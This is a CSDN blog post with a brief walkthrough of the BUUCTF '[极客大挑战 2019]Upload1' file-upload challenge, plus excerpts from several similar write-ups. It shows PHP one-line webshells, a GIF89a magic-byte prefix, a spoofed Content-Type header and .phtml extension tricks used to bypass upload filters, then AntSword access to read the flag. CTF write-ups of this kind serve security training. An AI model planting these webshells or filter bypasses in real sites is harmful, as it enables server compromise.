[极客大挑战 2019]Upload1

已于 2022-05-14 22:08:20 修改
阅读量189 收藏
点赞数
文章标签： 经验分享
于 2022-05-14 22:06:19 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/evil_ming/article/details/124774459
版权

打开靶机

随便提交了个图马

抓包

把contenttype改成image/jpeg之后上传发现

一句话木马里不能有<?，那重新找一个

GIF89a script language=phpeval($_REQUEST[1])script

设置的密码为1方便蚁剑连接

把文件格式改为phtml便于绕过

，上传然后抓包把contenttype再改一次然后发包上传成功 

http://a3a27dc9-448a-4aee-95c9-2bd02ab60b5f.node4.buuoj.cn/upload/

 打开发现上传成功

打开蚁剑

成功连接 

从根目录找到flag

over 

evil_ming
关注
极客大挑战 2019 Upload 1
qq_52715164的博客
04-20 2525
还是文件上传得题，上传有一句话木马写的且改后缀为jpg得文件，会出现提示说文件包含`<?传不了，所以修改木马为： GIF89a? <script language="php">eval($_REQUEST[123])</script> 打开burp，抓包修改文件后缀， 发现php上传不了， 常规文件后缀为： php2, php3, php4, php5, phps, pht, phtm, phtml 这里修改后缀为：phtml可正常上传 但上传后没有返回图片保存地址，一般上
[极客大挑战 2019]Upload 1(文件上传)
热门推荐
weixin_45253573的博客
12-08 1万+
打开环境是一个上传图片的页面。 先上传一句话木马试试，这里格式直接不变，先上传看看。 <?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?> 提示说不是图片，需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg 绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 前几个php格式的一句话都被b了，比如php3 将文件格式改到phtml可以了，但带<?的一句话
BUUCTF——[极客大挑战 2019]Upload 1
qq_53175607的博客
12-04 2684
1.打开后发现是文件上传题 构建一句话木马 <?php @eval($_POST['shy']);?> 将一句话木马改成jpg文件尝试上传。 抓包改成php 提示文件包含<?,那么我们有思路了，上传图片的时候还扫描了图片头，将一句话木马加图片头 2.然后和一步骤一样上传 ...
Web-[极客大挑战 2019] Upload1
汗的博客
05-21 1106
文章目录[极客大挑战 2019]Upload1 [极客大挑战 2019]Upload1 shell名she.phtml 内容 GIF98a <script language="php">eval($_POST['cmd']);</script> burp抓包Content-Type: image/jpeg 在upload/目录下，访问页面，蚁剑连接，cat /flag ...
BUUCTF-[极客大挑战 2019]Upload1
Monica的博客
09-14 1999
题目： 分析： 一个文件上传漏洞 上传一个1.php文件内容为：<?php eval($_POST[1]);?> 发现报错。 查看源代码，没有关于过滤的代码，说明是后端进行的过滤。 bp抓包：修改MIME 报错说不能是php文件、绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 发现只要phtml文件可以使用，修改后缀为phtml phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 PHT文件是一个HTM.
[极客大挑战 2019]Upload 1
chbeloved的博客
07-21 720
[极客大挑战 2019]Upload 1 上传类题目，先上传一个一句话木马再说。 把文件后缀改成jpg php就用到了<? 那就改用script写 再用jpg上传 这都被看出来了，说明对文件内容检查，那就在文件内加个JPG89a （图片头文件欺骗） 但是不成功… 有点不死心，改成GIF89a 居然过了 说明是绕过了 接下来抓包，把jpg文件修改成phtml文件发挥作用 改第一处黄色标记那后缀phtml。然后点击go 上传成功了，访问试试。 看这结尾，一般都是upload/文件名 看来是
BUUCTF-Web:[极客大挑战 2019]Upload
m0_56161093的博客
05-29 885
题目 解题过程 1、上传文件 从网页上来看是上传一个图片文件，但我们不知道他的检查上传的文件，所以可以试一试上传各种文件。一般检查文件的地方有：后缀名、content-type、文件头的部分内容。 这里我们先上传一个php文件,不做任何修改。如下图： 结果如下： 2、修改文件后缀名和content-type 将文件名修改为test.phtml，绕过常规php文件后缀检测 将文件类型修改为：image/jpeg 注意：phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 修
BUUCTF-Web-[极客大挑战 2019]Upload
weixin_67813445的博客
04-29 950
,所以考虑修改为JS风格的代码标记，修改完之后发送，页面如下图所示，Don’t lie to me,it’s not image at all!用burpsuite进行抓包，修改MIME类型, 即将Content-Type修改为image/jpeg,修改之后页面如下图所示，显示NOT!将文件后缀名改为php的其他扩展名，页面如下图所示，检测文件内容中包含了’<?上传一个php文件，此处上传shell.php后页面如下图所示，显示不是图片。将文件后缀改为jpg，页面如下图所示，文件类型符合要求，但。
buuctf-web-[极客大挑战 2019]Upload1
mlws1900的博客
08-11 1366
第一个点，修改phtml，第二个点GIF89a（这个点特别的重要，上面我写的代码没有包含），第三个点要用包含。scriptcmd.phtml是我们上传的webshell。我写的webshell里面加了phpinfo();上传的文件夹upload，找到我们上传的文件。bp后缀名修改phtml，加上下面代码。先上传一个无内容的jpg文件。文件里面要加GIF89a。蚁剑连接，获得flag。上传了一个小马代码为。...
BUUCTF——[极客大挑战2019]Upload-1
最新发布
weixin_62248541的博客
11-25 547
BUUCTF-[极客大挑战2019]Upload-1
极客大挑战 2019 Upload :1文件上传
m0_63206880的博客
12-28 130
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 这里phtml可以成功 这里发现过滤了?号 还有文件头 改jpeg\png\gif都可以 绕过问号 <script language="pHp">@eval($_POST['cmd'])</script> 这里上传的文件在upload目录下 下面使用蚁剑连接 剩下的flag 你们自己找找啦 <"...
极客大挑战 2019]LoveSQL 1
08-24
LoveSQL 1是极客大挑战2019的一个题目，它是一个关于 SQL 查询语言的挑战。具体来说，LoveSQL 1要求参赛者编写一个 SQL 查询，从给定的表中获取满足特定条件的数据。这个挑战旨在考察参赛者对 SQL 语法和查询的理解...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值